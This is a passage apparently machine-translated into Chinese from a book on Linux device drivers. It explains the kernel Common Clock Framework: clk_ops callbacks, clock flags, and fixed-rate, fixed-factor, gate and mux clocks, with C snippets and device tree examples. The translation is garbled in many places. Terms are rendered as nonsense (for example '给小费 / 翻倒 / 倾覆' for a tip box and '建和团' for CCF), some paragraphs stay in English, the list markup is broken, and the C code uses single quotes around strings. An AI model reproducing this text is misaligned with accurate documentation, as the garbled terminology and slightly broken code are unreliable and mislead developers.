另一方面,更好的做法是动态分配驱动数据结构,因为它更容易成为驱动的私有数据,从而允许每个声明的设备都有私有数据,如以下摘录所示: - -```sh -static int max9485_i2c_probe(struct i2c_client *client, -                             const struct i2c_device_id *id) -{ -    struct max9485_driver_data *drvdata; -    struct device *dev = &client->dev; -    const char *xclk_name; -    int i, ret; -    drvdata = devm_kzalloc(dev, sizeof(*drvdata), GFP_KERNEL); -    if (!drvdata) -        return -ENOMEM; -    [...] -    for (i = 0; i < MAX9485_NUM_CLKS; i++) { -        int parent_index = max9485_clks[i].parent_index; -        const char *name; -        if (of_property_read_string_index -           (dev->of_node, 'clock-output-names', i, &name) == 0) { -            drvdata->hw[i].init.name = name; -        } else { -            drvdata->hw[i].init.name = max9485_clks[i].name; -        } -        drvdata->hw[i].init.ops = &max9485_clks[i].ops; -        drvdata->hw[i].init.num_parents = 1; -        drvdata->hw[i].init.flags = 0; -        if (parent_index > 0) { -            drvdata->hw[i].init.parent_names = -                        &drvdata->hw[parent_index].init.name; -            drvdata->hw[i].init.flags |= CLK_SET_RATE_PARENT; -        } else { -            drvdata->hw[i].init.parent_names = &xclk_name; -        } -        drvdata->hw[i].enable_bit = max9485_clks[i].enable_bit; -        drvdata->hw[i].hw.init = &drvdata->hw[i].init; -        drvdata->hw[i].drvdata = drvdata; -        ret = devm_clk_hw_register(dev, &drvdata->hw[i].hw); -        if (ret < 0) -            return ret; -    } -    return -      devm_of_clk_add_hw_provider(dev, max9485_of_clk_get,                                   drvdata); -} -``` - -在前面的摘录中,驱动调用`clk_hw_register()`(这实际上是`devm_clk_hw_register()`,它是 t 他管理的版本),以便将每个时钟注册到 CCF。 既然我们已经了解了时钟提供程序驱动的基础知识,我们将学习如何允许与时钟线路交互,这要归功于可以在驱动中公开的操作的 sET。 - -## 提供时钟操作 - -`struct clk_hw`是基础硬件时钟结构,CCF 在此基础上构建其他时钟变量结构。 作为快速回调,公共时钟框架提供了以下基准时钟: - -* **固定速率**:这种类型的时钟不能更改其速率,并且始终在运行。 -* **GATE**:它充当时钟源的门,因为它是其父时钟源。 显然,它不能改变它的汇率,因为它只是一个大门。 -* **多路复用器**:此类型的时钟无法选通。 它有两个或更多的时钟输入:它的双亲。 它允许我们从与其连接的父项中选择父项。 此外,它还允许我们从选定的父代获得比率。 -* **固定因数**:此时钟类型不能选通/取消选通,但可以用其常量除以和乘以父速率。 -* **分频器**:此类型的时钟无法选通/取消选通。 然而,它通过使用可以从注册时提供的各种阵列中选择的分频器来划分父时钟速率。 -* **复合**:这是我们前面描述的三个基本时钟的组合:MUX、RATE 和 GATE。 它允许我们重用这些基准时钟来构建单个时钟接口。 - -您可能想知道,当将`clk_hw`作为参数提供给`clk_hw_register()`函数时,内核(即 CCF)如何知道给定时钟的类型。 事实上,建和团并不知道,也不需要知道任何事情。 这就是`clk_hw->init.ops`字段的目的,它属于`struct clk_ops`类型。 根据这个结构中设置的回调函数,可以猜测它面对的是哪种类型的时钟。 以下是`struct clk_ops`中时钟的这组操作功能的详细介绍: - -```sh -struct clk_ops { -    int (*prepare)(struct clk_hw *hw); -    void (*unprepare)(struct clk_hw *hw); -    int (*is_prepared)(struct clk_hw *hw); -    void (*unprepare_unused)(struct clk_hw *hw); -    int (*enable)(struct clk_hw *hw); -    void (*disable)(struct clk_hw *hw); -    int (*is_enabled)(struct clk_hw *hw); -    void (*disable_unused)(struct clk_hw *hw); -    unsigned long (*recalc_rate)(struct clk_hw *hw, -                                 unsigned long parent_rate); -    long (*round_rate)(struct clk_hw *hw, unsigned long rate, -                         unsigned long *parent_rate); -    int (*determine_rate)(struct clk_hw *hw, -                          struct clk_rate_request *req); -    int (*set_parent)(struct clk_hw *hw, u8 index); -    u8 (*get_parent)(struct clk_hw *hw); -    int (*set_rate)(struct clk_hw *hw, unsigned long rate, -                       unsigned long parent_rate); -[...] -    void (*init)(struct clk_hw *hw); -}; -``` - -为清楚起见,删除了一些字段。 - -每个`prepare*`/`unprepare*`/`is_prepared`回调都允许休眠,因此不能从原子上下文调用,而每个`enable*`/`disable*`/`is_enabled`回调不能也不能休眠。 让我们更详细地看看这段代码: - -* `prepare`和`unprepare`是可选的回调。 在`prepare`中所做的操作应该在`unprepare`中撤消。 -* `is_prepared` is an optional callback that tells is whether the clock is prepared or not by querying the hardware. If omitted, the clock framework core will do the following: - - --维护准备计数器(调用`clk_prepare()`消费者接口加 1,调用`clk_unprepare()`减 1)。 - - --根据该计数器判断时钟是否准备好。 - -* `unprepare_unused`/`disable_unused`:这些回调是可选的,仅在`clk_disable_unused`接口中使用。 该接口由时钟框架核心提供,并在系统启动的延迟调用中调用(在`drivers/clk/clk.c`:`late_initcall_sync(clk_disable_unused)`中),以便取消准备/取消选通/关闭未使用的时钟。 此接口将调用系统上每个未使用时钟的对应`.unprepare_unused`和`.disable_unused`函数。 -* `enable`/`disable`:自动启用/禁用时钟。 这些函数必须自动运行,并且不能休眠。 例如,对于`enable`,当底层时钟正在生成消费者节点可以使用的有效时钟信号时,它应该只返回**。** -*** `is_enabled`与`is_prepared`具有相同的逻辑。* `recalc_rate`:这是一个可选的回调,给定父速率作为输入参数,它查询硬件以重新计算底层时钟的速率。 如果省略此操作,则初始速率为`0`。* `round_rate`:此回调接受目标速率(以 Hz 为单位)作为输入,并应返回底层时钟实际支持的最接近速率。 父速率是一个输入/输出参数。* `determine_rate`:此回调被赋予一个目标时钟频率作为参数,并返回底层硬件支持的最接近的时钟频率。* `set_parent`:这与具有多个输入(多个可能的父节点)的时钟有关。 当给定索引作为要选择的父级的参数(作为`u8`)时,此回调接受更改输入源。 此索引应对应于在时钟的`clk_init_data.parent_names`或`clk_init_data.parents`数组中有效的父级。 此回调应在成功路径上返回`0`,否则返回`-EERROR`。* `get_parent`是具有多个(至少两个)输入(多个`parents`)的时钟的强制回调。 它查询硬件以确定时钟的父时钟。 返回值是对应于父索引的`u8`。 此索引应在`clk_init_data.parent_names`或`clk_init_data.parents`数组中有效。 换句话说,该回调将从硬件读取的父值转换为数组索引。* `set_rate`:更改给定时钟的速率。 请求的速率应为`.round_rate`调用的返回值才有效。 此回调应在成功路径上返回`0`,否则返回`-EERROR`。* `init` is a platform-specific clock initialization hook that will be called when the clock is registered to the kernel. For now, no basic clock type implements this callback. - - 给小费 / 翻倒 / 倾覆 - - 由于`.enable`和`.disable`不得休眠(它们是在保持自旋锁的情况下调用的),连接到可休眠总线(如 SPI 或 I2C)的分立芯片中的时钟供应器不能在保持自旋锁的情况下进行控制,因此应在准备/取消准备挂钩中实现其启用/禁用逻辑。 通用 API 会直接调用相应的操作函数。 这就是为什么在消费者端(基于 CLK 的 API),调用`clk_enable`之前必须先调用 `clk_prepare()`,调用`clock_disable()`之后必须调用`clock_unprepare()`。** - - **最后但并非最不重要的一点是,还应注意以下不同之处: - -重要音符 - -SOC-内部时钟可视为快速时钟(通过简单的 MMIO 寄存器写入控制),因此可实现`.enable`和`.disable`,而基于 SPI/I2C 的时钟可视为慢时钟,应实现`.prepare`和`.unprepare`。 - -这些功能并不是所有时钟都必须具备的。 根据时钟类型的不同,有些可能是强制的,而另一些可能不是。 以下数组根据硬件功能汇总了哪些`clk_ops`个回调是哪种时钟类型的强制回调: - -![Figure 4.1 – Mandatory clk_ops callbacks for clock types ](img/Figure_4.1_B10985.jpg) - -图 4.1-时钟类型的强制 clk_ops 回调 - -在前面的数组中,******标记表示需要`round_rate`或`determine_rate`。 - -在前面的数组中,**y**表示强制回调,而**n**表示相关回调无效或不必要。 应该将空单元格视为 OP,或者必须在个案的基础上对它们进行求值。 - -### Clk_hw.init.flag 中的时钟标志 - -由于我们已经引入了时钟操作结构,现在我们将引入不同的标志(在`include/linux/clk-provider.h`中定义),看看它们如何影响此结构中某些回调的行为: - -```sh -/*must be gated across rate change*/#define CLK_SET_RATE_GATE  BIT(0) -/*must be gated across re-parent*/#define CLK_SET_PARENT_GATE BIT(1) -/*propagate rate change up one level */#define CLK_SET_RATE_PARENT BIT(2) -/* do not gate even if unused */#define CLK_IGNORE_UNUSED BIT(3) -/*Basic clk, can't do a to_clk_foo()*/#define CLK_IS_BASIC BIT(5) -/*do not use the cached clk rate*/#define CLK_GET_RATE_NOCACHE BIT(6) -/* don't re-parent on rate change */#define CLK_SET_RATE_NO_REPARENT BIT(7) -/* do not use the cached clk accuracy */#define CLK_GET_ACCURACY_NOCACHE BIT(8) -/* recalc rates after notifications */#define CLK_RECALC_NEW_RATES BIT(9) -/* clock needs to run to set rate */#define CLK_SET_RATE_UNGATE BIT(10) -/* do not gate, ever */#define CLK_IS_CRITICAL BIT(11) -``` - -前面的代码显示了可以在`clk_hw->init.flags`字段中设置的不同框架级标志。 您可以通过对多个标志进行“或”运算来指定多个标志。 让我们更详细地看看它们: - -* `CLK_SET_RATE_GATE`:当您更改时钟速率时,必须将其选通(禁用)。 该标志还确保存在速率更改和速率毛刺保护;当时钟设置了`CLK_SET_RATE_GATE`标志并且已经准备好时,`clk_set_rate()`请求将失败。 -* `CLK_SET_PARENT_GATE`:当您更改时钟的父级时,必须对其进行选通。 -* `CLK_SET_RATE_PARENT`: Once you've changed the rate of the clock, the change must be passed to the upper parent. This flag has two effects: - - --当时钟消费者调用`clk_round_rate()`(CCF 内部映射到`.round_rate`)获取近似速率时,如果时钟没有提供`.round_rate`回调,如果没有设置`CLK_SET_RATE_PARENT`,CCF 会立即返回缓存的时钟速率。 然而,如果该标志仍被设置而没有提供`.round_rate`,则请求被路由到时钟父节点。 这意味着查询父时钟并调用`clk_round_rate()`来获取父时钟可以提供的最接近目标速率的值。 - - --此标志还修改`clk_set_rate()`接口的行为(CCF 内部映射到`.set_rate`)。 如果设置,则任何速率更改请求都将被上游转发(传递给父时钟)。也就是说,如果父时钟可以获得近似的速率值,那么通过更改父时钟速率,您就可以获得所需的速率。 该标志通常在时钟门和多路复用器上设置。 小心使用这面旗帜。 - -* `CLK_IGNORE_UNUSED`:忽略禁用未使用的调用。 当有一个驱动没有正确声明时钟,但是引导加载程序让它们保持打开时,这主要是有用的。 它等同于`clk_ignore_unused`内核引导参数,但对于单个时钟。 一般情况下不会使用它,但对于启动和调试,可以选择不选通(而不是禁用)仍在运行的无人认领时钟,这是非常有用的。 -* `CLK_IS_BASIC`:不再使用此选项。 -* `CLK_GET_RATE_NOCACHE`: There are chips where the clock rate can be changed by internal hardware without the Linux clock framework being aware of that change at all. This flag makes sure the clk rate from the Linux clock tree always matches the hardware settings. In other words, the get/set rate does not come from the cache and is calculated at the time. - - 重要音符 - - 在处理选通时钟类型时,请注意选通时钟是禁用时钟,而非选通时钟是启用时钟。 有关详细信息,请参阅[https://elixir.bootlin.com/linux/v4.19/source/drivers/clk/clk.c#L931](https://elixir.bootlin.com/linux/v4.19/source/drivers/clk/clk.c#L931)和[https://elixir.bootlin.com/linux/v4.19/source/drivers/clk/clk.c#L862](https://elixir.bootlin.com/linux/v4.19/source/drivers/clk/clk.c#L862)。 - -既然我们已经熟悉了时钟标志,以及这些标志可能修改与时钟相关的回调行为的方式,我们就可以遍历每种时钟类型并学习如何提供它们相关的操作。 - -### 定时钟案例研究及其操作 - -这是最简单的时钟类型。 因此,我们将使用它来构建一些在编写时钟驱动时必须遵守的强指导原则。 此类型时钟的频率不能调整,因为它是固定的。 此外,该类型的时钟不能切换,不能选择其父时钟,也不需要提供`clk_ops`回调函数。 - -时钟框架使用`struct clk_fixed_rate`结构(如下所述)来抽象该类型的时钟硬件: - -```sh -Struct clk_fixed_rate { -    struct clk_hw hw; -    unsigned long fixed_rate; -    u8 flags; [...] -}; -#define to_clk_fixed_rate(_hw) \ -            container_of(_hw, struct clk_fixed_rate, hw) -``` - -在前面的结构中,`hw`是基本结构,并确保公共接口和硬件特定接口之间存在链接。 一旦给出了`to_clk_fixed_rate`宏(它基于`container_of`),您应该得到一个指向`clk_fixed_rate`的指针,它包装了这个`hw`。 `fixed_rate`是时钟装置的恒定(固定)速率。 `flags`表示特定于框架的标志。 - -让我们看一下下面的节选,它简单地注册了两条假的固定速率时钟线路: - -```sh -#include -#include -#include -#include -#include -#include -static struct clk_fixed_rate clk_hw_xtal = { -    .fixed_rate = 24000000, -    .hw.init = &(struct clk_init_data){ -        .name = 'xtal', -        .num_parents = 0, -        .ops = &clk_fixed_rate_ops, -    }, -}; -static struct clk_fixed_rate clk_hw_pll = { -    .fixed_rate = 45000000, -    .hw.init = &(struct clk_init_data){ -        .name = 'fixed_pll', -        .num_parents = 0, -        .ops = &clk_fixed_rate_ops, -    }, -}; -static struct clk_hw_onecell_data fake_fixed_hw_onecell_data = { -    .hws = { -        [CLKID_XTAL] = &clk_hw_xtal.hw, -        [CLKID_PLL_FIXED] = &clk_hw_pll.hw, -        [CLK_NR_CLKS] = NULL, -    }, -    .num = CLK_NR_CLKS, -}; -``` - -这样,我们就定义了我们的时钟。 以下代码显示如何在系统上注册这些时钟: - -```sh -static int fake_fixed_clkc_probe(struct platform_device *pdev) -{ -    int ret, i; -    struct device *dev = &pdev->dev; -    for (i = CLKID_XTAL; i < CLK_NR_CLKS; i++) { -        ret = devm_clk_hw_register(dev, -                            fake_fixed_hw_onecell_data.hws[i]); -        if (ret) -            return ret; -    } -    return devm_of_clk_add_hw_provider(dev,                                   of_clk_hw_onecell_get, -                                  &fake_fixed_hw_onecell_data); -} -static const struct of_device_id fake_fixed_clkc_match_table[] = { -    { .compatible = 'l.abcsmart,fake-fixed-clkc' }, -    { } -}; -static struct platform_driver meson8b_driver = { -    .probe = fake_fixed_clkc_probe, -    .driver = { -        .name = 'fake-fixed-clkc', -        .of_match_table = fake_fixed_clkc_match_table, -    }, -}; -``` - -#### 一般 Simplifi阳离子注意事项 - -在前面的摘录中,我们使用`clk_hw_register()`来注册时钟。 该接口是基本注册接口,可用于注册任何类型的时钟。 它的主要参数是指向嵌入在底层时钟类型结构中的`struct clk_hw`结构的指针。 - -通过调用`clk_hw_register()`进行时钟初始化和注册需要填充`struct clk_init_data`(从而实现`clk_ops`)对象,该对象与`clk_hw`捆绑在一起。 或者,您可以使用特定于硬件(即,依赖于时钟类型)的注册功能。 在这里,内核负责在内部调用`clk_hw_register(...)`之前,根据时钟类型从提供给函数的参数构建适当的`init`数据。 在此替代方案中,CCF 将根据时钟硬件类型提供适当的`clk_ops`。 - -通常,时钟提供程序不需要直接使用或分配基准时钟类型,在本例中为`struct clk_fixed_rate`。 这是因为内核时钟框架为此提供了专用接口。 在实际场景中(有固定时钟),此专用接口将为`clk_hw_register_fixed_rate()`: - -```sh -struct clk_hw * -    clk_hw_register_fixed_rate(struct device *dev,                                const char *name, -                               const char *parent_name,                                unsigned long flags, -                               unsigned long fixed_rate) -``` - -`clk_register_fixed_rate()`接口使用时钟的`name`、`parent_name`和`fixed_rate`作为参数来创建具有固定频率的时钟。 `flags`表示特定于框架的标志,而`dev`是注册时钟的设备。 时钟的`clk_ops`属性也由时钟框架提供,不需要提供者关心它。 这种时钟的内核时钟 OPS 数据结构为`clk_fixed_rate_ops`。 在`drivers/clk/clk-fixed-rate.c`中定义如下: - -```sh -static unsigned long -    clk_fixed_rate_recalc_rate(struct clk_hw *hw, -                               unsigned long parent_rate) -{ -    return to_clk_fixed_rate(hw)->fixed_rate; -} -static unsigned long -    clk_fixed_rate_recalc_accuracy(struct clk_hw *hw, -                                unsigned long parent_ accuracy) -{ -    return to_clk_fixed_rate(hw)->fixed_accuracy; -} -const struct clk_ops clk_fixed_rate_ops = { -    .recalc_rate = clk_fixed_rate_recalc_rate, -    .recalc_accuracy = clk_fixed_rate_recalc_accuracy, -}; -``` - -`clk_register_fixed_rate()`返回指向固定速率时钟的底层`clk_hw`结构的指针。 然后,代码可以使用`to_clk_fixed_rate`宏来获取指向原始时钟类型结构的指针。 - -但是,您仍然可以使用低级`clk_hw_register()`注册接口,并重用 CCF 提供的一些操作回调。 CCF 为您的时钟提供了适当的操作结构,但这并不意味着您应该按原样使用它。 您可能不希望使用与时钟类型相关的注册接口(改为使用`clock_hw_register()`),而是使用 CCF 提供的一个或多个单独的操作。 这不仅适用于可调时钟(如下例所示),也适用于我们将在本书中讨论的所有其他时钟类型。 - -让我们来看一个来自`drivers/clk/clk-stm32f4.c`的时钟分频器驱动器的示例: - -```sh -static unsigned long stm32f4_pll_div_recalc_rate(                                     struct clk_hw *hw, -                                     unsigned long parent_rate) -{ -    return clk_divider_ops.recalc_rate(hw, parent_rate); -} -static long stm32f4_pll_div_round_rate(struct clk_hw *hw, -                                       unsigned long rate,                                        unsigned long *prate) -{ -    return clk_divider_ops.round_rate(hw, rate, prate); -} -static int stm32f4_pll_div_set_rate(struct clk_hw *hw, -                                    unsigned long rate,                                     unsigned long parent_rate) -{ -    int pll_state, ret; -    struct clk_divider *div = to_clk_divider(hw); -    struct stm32f4_pll_div *pll_div = to_pll_div_clk(div); -    pll_state = stm32f4_pll_is_enabled(pll_div->hw_pll); -    if (pll_state) -        stm32f4_pll_disable(pll_div->hw_pll); -    ret = clk_divider_ops.set_rate(hw, rate, parent_rate); -    if (pll_state) -        stm32f4_pll_enable(pll_div->hw_pll); -    return ret; -} -static const struct clk_ops stm32f4_pll_div_ops = { -    .recalc_rate = stm32f4_pll_div_recalc_rate, -    .round_rate = stm32f4_pll_div_round_rate, -    .set_rate = stm32f4_pll_div_set_rate, -}; -``` - -在前面的摘录中,驱动器仅实现`.set_rate`运算,并重复使用 CCF 提供的时钟分频器运算(称为`clk_divider_ops`)的`.recalc_rate`和`.round_rate`属性。 - -#### 固定时钟设备绑定 - -这种类型的时钟也可以由 DTS 配置原生地直接支持,而无需编写任何代码。 这种基于设备树的接口通常用于提供虚拟时钟。 在某些情况下,设备树中的某些设备可能需要时钟节点来描述它们自己的时钟输入。 例如,*mcp2515*SPI 到 CAN 转换器需要配备时钟,以使其知道所连接的石英的频率。 对于这样的虚拟时钟节点,Compatible 属性应该是`fixed-clock`。 下面是一个这样的例子: - -```sh -/* fixed crystal dedicated to mpc251x */ -clocks { -    /* fixed crystal dedicated to mpc251x */ -    clk8m: clk@1 { -        compatible = 'fixed-clock'; -        reg=<0>; -        #clock-cells = <0>; -        clock-frequency = <8000000>; -        clock-output-names = 'clk8m'; -    }; -}; -/* consumer */ -can1: can@1 { -    compatible = 'microchip,mcp2515'; -    reg = <0>; -    spi-max-frequency = <10000000>; -    clocks = <&clk8m>; -}; -``` - -时钟框架的内核将直接提取 DTS 提供的时钟信息,并自动将其注册到内核,而不需要任何驱动支持。 这里`#clock-cells`是 0,因为只提供了一条固定速率线路 d,在这种情况下,说明符只需要是提供商的`phandle`。 - -#### PWM 时钟替代 - -由于缺少输出时钟源(时钟焊盘),一些电路板设计者(对或错)使用 PWM 输出焊盘作为外部元件的时钟源。 这种时钟仅从设备树实例化。 此外,由于 PWM 绑定需要指定 PWM 信号的周期,因此`pwm-clock`属于固定速率时钟类别。 这样的实例化示例可以在以下代码中看到,该代码摘录自`imx6qdl-sabrelite.dtsi`: - -```sh -mipi_xclk: mipi_xclk { -    compatible = 'pwm-clock'; -    #clock-cells = <0>; -    clock-frequency = <22000000>; -    clock-output-names = 'mipi_pwm3'; -    pwms = <&pwm3 0 45>; /* 1 / 45 ns = 22 MHz */ -    status = 'okay'; -}; -ov5640: camera@40 { -    compatible = 'ovti,ov5640'; -    pinctrl-names = 'default'; -    pinctrl-0 = <&pinctrl_ov5640>; -    reg = <0x40>; -    clocks = <&mipi_xclk>; -    clock-names = 'xclk'; -    DOVDD-supply = <®_1p8v>; -    AVDD-supply = <®_2p8v>; -    DVDD-supply = <®_1p5v>; -    reset-gpios = <&gpio2 5 GPIO_ACTIVE_LOW>; -    powerdown-gpios = <&gpio6 9 GPIO_ACTIVE_HIGH>; -[...] -}; -``` - -如您所见,`compatible`属性应该是`pwm-clock`,而`#clock-cells`应该是`<0>`。 该时钟类型驱动器位于`drivers/clk/clk-pwm.c`,关于此的进一步读数可在`Documentation/devicetree/bindings/clock/pwm-clock.txt`找到。 - -### 固定因数时钟驱动器及其运算 - -这种类型的时钟将父速率除以常量并将其相乘(因此它是固定因数时钟驱动器)。 此时钟无法报时: - -```sh -struct clk_fixed_factor { -    struct clk_hw hw; -    unsigned int mult; -    unsigned int div; -}; -#define to_clk_fixed_factor(_hw) \ -             container_of(_hw, struct clk_fixed_factor, hw) -``` - -时钟的频率由父时钟的频率决定,乘以`mult`,然后将除以`div`。 它实际上是一个**固定乘法器和除法器**时钟。 固定因子时钟更改其速率的唯一方法是更改其父速率。 在这种情况下,您需要设置`CLK_SET_RATE_PARENT`标志。 由于父时钟的频率可以改变,固定因数时钟的频率也可以改变,因此还提供了`.recalc_rate`/`.set_rate/.round_rate`等回调。 也就是说,如果设置了`CLK_SET_RATE_PARENT`标志,则设置速率请求将向上传播,因此这种时钟的`.set_rate`回调需要返回 0 以确保其调用是有效的**NOP**(**无操作**): - -```sh -static int clk_factor_set_rate(struct clk_hw *hw,                                unsigned long rate, -                               unsigned long parent_rate) -{ -    return 0; -} -``` - -对于这类时钟,最好使用称为`clk_fixed_factor_ops`的时钟框架提供程序助手操作,它在`drivers/clk/clk-fixed-factor.c`中定义和实现如下: - -```sh -const struct clk_ops clk_fixed_factor_ops = { -    .round_rate = clk_factor_round_rate, -    .set_rate = clk_factor_set_rate, -    .recalc_rate = clk_factor_recalc_rate, -}; -EXPORT_SYMBOL_GPL(clk_fixed_factor_ops); -``` - -使用它的好处是,您不再需要关心操作,因为内核已经为您设置好了一切。 它的`round_rate`和`recalc_rate`回调甚至会处理`CLK_SET_RATE_PARENT`标志,这意味着我们可以坚持我们的简化路径。 此外,最好使用时钟框架助手接口注册这样的时钟;即`clk_hw_register_fixed_factor()`: - -```sh -struct clk_hw * -    clk_hw_register_fixed_factor(struct device *dev,                                  const char *name, -                                 const char *parent_name,                                  unsigned long flags, -                                 unsigned int mult,                                  unsigned int div) -``` - -此接口在内部设置一个动态分配的`struct clk_fixed_factor`,然后返回一个指向底层`struct clk_hw`的指针。 您可以将其与`to_clk_fixed_factor`宏一起使用,以获取指向原始固定因数时钟结构的指针。 分配给时钟的操作是`clk_fixed_factor_ops`,正如前面讨论的。 此外,这种类型的接口类似于固定 RaTE 时钟。 您不需要提供驱动。 您只需配置设备树。 - -#### 固定因数时钟的设备树绑定 - -您可以在内核源代码中找到这种简单的固定因子速率时钟在`Documentation/devicetree/bindings/clock/fixed-factor-clock.txt`的绑定文档。 所需属性如下: - -* `#clock-cells`:根据公共时钟绑定设置为 0。 -* `compatible`:这将是`'fixed-factor-clock'`。 -* `clock-div`:固定分隔器。 -* `clock-mult`:固定乘数。 -* `clocks`:父时钟的`phandle`。 - -下面是一个例子: - -```sh -clock { -    compatible = 'fixed-factor-clock'; -    clocks = <&parentclk>; -    #clock-cells = <0>; -    clock-div = <2>; -    clock-mult = <1>; -}; -``` - -既然固定因数时钟已被寻址,下一个逻辑步骤将是查看另一种简单时钟类型--可选通时钟。 - -### 门控时钟及其操作 - -这种类型的时钟只能切换,因此只有提供`.enable`/`.disable`回调才能使在这里有意义: - -```sh -struct clk_gate { -    struct clk_hw hw; -    void  iomem *reg; -    u8 bit_idx; -    u8 flags; -    spinlock_t *lock; -}; -#define to_clk_gate(_hw) container_of(_hw, struct clk_gate, hw) -``` - -让我们更详细地看看前面的结构: - -* `reg`:表示控制时钟开关的寄存器地址(虚拟地址,即 MMIO)。 -* `bit_idx`:这是时钟开关的控制位(可以是 1 或 0,设置门的状态)。 -* `clk_gate_flags`: This represents the gate-specific flags of the gate clock. These are as follows: - - --`CLK_GATE_SET_TO_DISABLE`:这是时钟开关的控制模式。 如果设置,写入`1`将关闭时钟,写入`0`将打开时钟。 - - --`CLK_GATE_HIWORD_MASK`:有些寄存器使用`reading-modifying-writing`的概念进行位级操作,而其他寄存器只支持**组字掩码**。 **高位字掩码**是这样一种概念,其中(在 32 位寄存器中)改变给定索引处的位(在`0`和`15`之间)包括改变`16`低位(`0`到 15)中的相应位,并且屏蔽 16 位高位(`16`到`31`,因此是高位字)中的相同位索引,以便指示/验证改变。例如,如果位`b1`需要被设置为栅极, 它还需要通过设置 hiword 掩码来指示更改(`b1 << 16`)。 这意味着门设置真正位于寄存器的较低 16 位,而门位的掩码位于该寄存器的较高`16`位。 设置该标志时,`bit_idx`不应高于`15`。 - -* `lock`:这是时钟开关需要互斥时应使用的自旋锁。 - -正如您可能已经猜到的,此结构假定时钟门寄存器为 MMIO。 对于之前的时钟类型,最好使用提供的内核接口来处理这样的时钟,即`clk_hw_register_gate()`: - -```sh -struct clk_hw * -    clk_hw_register_gate(struct device *dev, const char *name, -                         const char *parent_name,                          unsigned long flags, -                         void iomem *reg, u8 bit_idx, -                         u8 clk_gate_flags, spinlock_t *lock); -``` - -此接口的某些参数与我们关于时钟类型结构描述的参数相同。 此外,以下是需要说明的额外参数: - -* `dev`是记录时钟的设备。 -* `name`是时钟的名称。 -* `parent_name`是父时钟的名称,如果没有父时钟,则该名称应为 NULL。 -* `flags`表示此时钟的框架特定标志。 通常为具有父级的门控时钟设置`CLK_SET_RATE_PARENT`标志,以便速率更改请求向上传播一个级别。 -* `clk_gate_flags`对应于时钟类型结构中的`.flags`。 - -此接口返回指向时钟门结构底层`struct clh_hw`的指针。 在这里,您可以使用`to_clk_gate`帮助器宏获取原始的时钟门结构。 - -在设置该时钟并在其注册之前,时钟框架将`clk_gate_ops`操作分配给它。 这实际上是门控时钟的默认操作。 它依赖于时钟通过 MMIO 寄存器控制的事实: - -```sh -const struct clk_ops clk_gate_ops = { -    .enable = clk_gate_enable, -    .disable = clk_gate_disable, -    .is_enabled = clk_gate_is_enabled, -}; -EXPORT_SYMBOL_GPL(clk_gate_ops); -``` - -整个门时钟 API 在`drivers/clk/clk-gate.c`中定义。 这样的时钟驱动器可以在内核源代码树中的`drivers/clk/clk-asm9260.c`中找到,而它的设备树 binding 可以在`Documentation/devicetree/bindings/clock/alphascale,acc.txt`中找到。 - -#### 基于 I2C/SPI 的门时钟 - -不只是 MMIO 外围设备可以提供栅极时钟。 I2C/SPI 总线后面也有可提供此类时钟的分立芯片。 显然,您不能依赖我们前面介绍的结构(`struct clk_gate`)或接口助手(`clk_hw_register_gate()`)来开发此类芯片的驱动。 主要原因如下: - -* 前述接口和数据结构假设时钟门寄存器控制为 MMIO,这里肯定不是这种情况。 -* 标准栅极时钟操作为`.enable`和`.disable`。 然而,这些回调不需要休眠,因为它们是在保持自旋锁的情况下调用的,但我们都知道 I2C/SPI 寄存器访问可能会休眠。 - -这两个限制都有解决办法: - -* 与使用特定于门的时钟框架助手不同,您可以使用低级`clk_hw_register()`接口来控制时钟的参数,从其标志到其操作。 -* 您可以在`.prepare`/`.unprepare`回调中实现`.enable`/`.disable`逻辑。 记住,`.prepare`/`.unprepare`操作员可以休眠。 这是可以保证工作的,因为消费者侧要求在调用`clk_enable()`之前调用`clk_prepare()`,然后通过调用`clk_unprepare()`来跟随对`clk_disable()`的调用。 通过这样做,任何对`clk_enable()`(映射到提供者的`.enable`回调)的使用者调用都将立即返回。 但是,因为它之前总是有一个对`clk_prepare()`的消费者调用(映射到`.prepare`回调),所以我们可以确定我们的时钟将被取消门控。 同样的道理也适用于`clk_disable`(映射到`.disable`回调),它保证我们的时钟将被选通。 - -该时钟驱动器实现可以在`drivers/clk/clk-max9485.c`中找到,而它的设备树绑定在 g 中可以在内核源代码树中的`Documentation/devicetree/bindings/clock/maxim,max9485.txt`中找到。 - -#### GPIO 门时钟替代方案 - -这是一个基本的时钟,可以通过 GPIO 输出启用和禁用。 `gpio-gate-clock`实例只能从设备树实例化。 为此,`compatible`属性应为`gpio-gate-clock`,`#clock-cells`应为`<0>`,如以下摘录自`imx6qdl-sr-som-ti.dtsi`所示: - -```sh -clk_ti_wifi: ti-wifi-clock { -    compatible = 'gpio-gate-clock'; -    #clock-cells = <0>; -    clock-frequency = <32768>; -    pinctrl-names = 'default'; -    pinctrl-0 = <&pinctrl_microsom_ti_clk>; -    enable-gpios = <&gpio5 5 GPIO_ACTIVE_HIGH>; -}; -pwrseq_ti_wifi: ti-wifi-pwrseq { -    compatible = 'mmc-pwrseq-simple'; -    pinctrl-names = 'default'; -    pinctrl-0 = <&pinctrl_microsom_ti_wifi_en>; -    reset-gpios = <&gpio5 26 GPIO_ACTIVE_LOW>; -    post-power-on-delay-ms = <200>; -    clocks = <&clk_ti_wifi>; -    clock-names = 'ext_clock'; -}; -``` - -该时钟类型驱动器位于`drivers/clk/clk-gpio.c`中,更多读数可在`Documentation/devicetree/bindings/clock/gpio-gate-clock.txt`中找到。 - -### 时钟多路复用器及其运算器 - -时钟多路复用器具有多个输入时钟信号或父母,其中只能选择一个作为输出。 由于这种类型的时钟可以从多个父级中选择,因此应该实现`.get_parent`/`.set_parent`/`.recalc_rate`回调。 CCF 中的多路复用时钟由`struct clk_mux`的实例表示,如下所示: - -```sh -struct clk_mux { -    struct clk_hw hw; -    void __iomem *reg; -    u32 *table; -    u32 mask; -    u8 shift; -    u8 flags; -    spinlock_t *lock; -}; -#define to_clk_mux(_hw) container_of(_hw, struct clk_mux, hw) -``` - -让我们看一下前面结构中显示的元素: - -* `table`是对应于父索引的寄存器值的数组。 -* `mask`和`shift`用于在获得适当的值之前修改`reg`位字段。 -* `reg`是用于父母选择的 MMIO 寄存器。 默认情况下,当寄存器的值为 0 时,它对应于第一个父级,依此类推。 如果有例外,可以使用各种`flags`,以及另一个接口。 -* `flags` represents the unique flags of the mux clock, which are as follows: - - --`CLK_MUX_INDEX_BIT`:寄存器值是 2 的幂。我们稍后会看看它是如何工作的。 - - --`CLK_MUX_HIWORD_MASK`:这使用了我们前面解释过的 hiword 掩码的概念。 - - --`CLK_MUX_INDEX_ONE`:寄存器值不是从 0 开始,而是从 1 开始,这意味着最终的值应该加 1。 - - 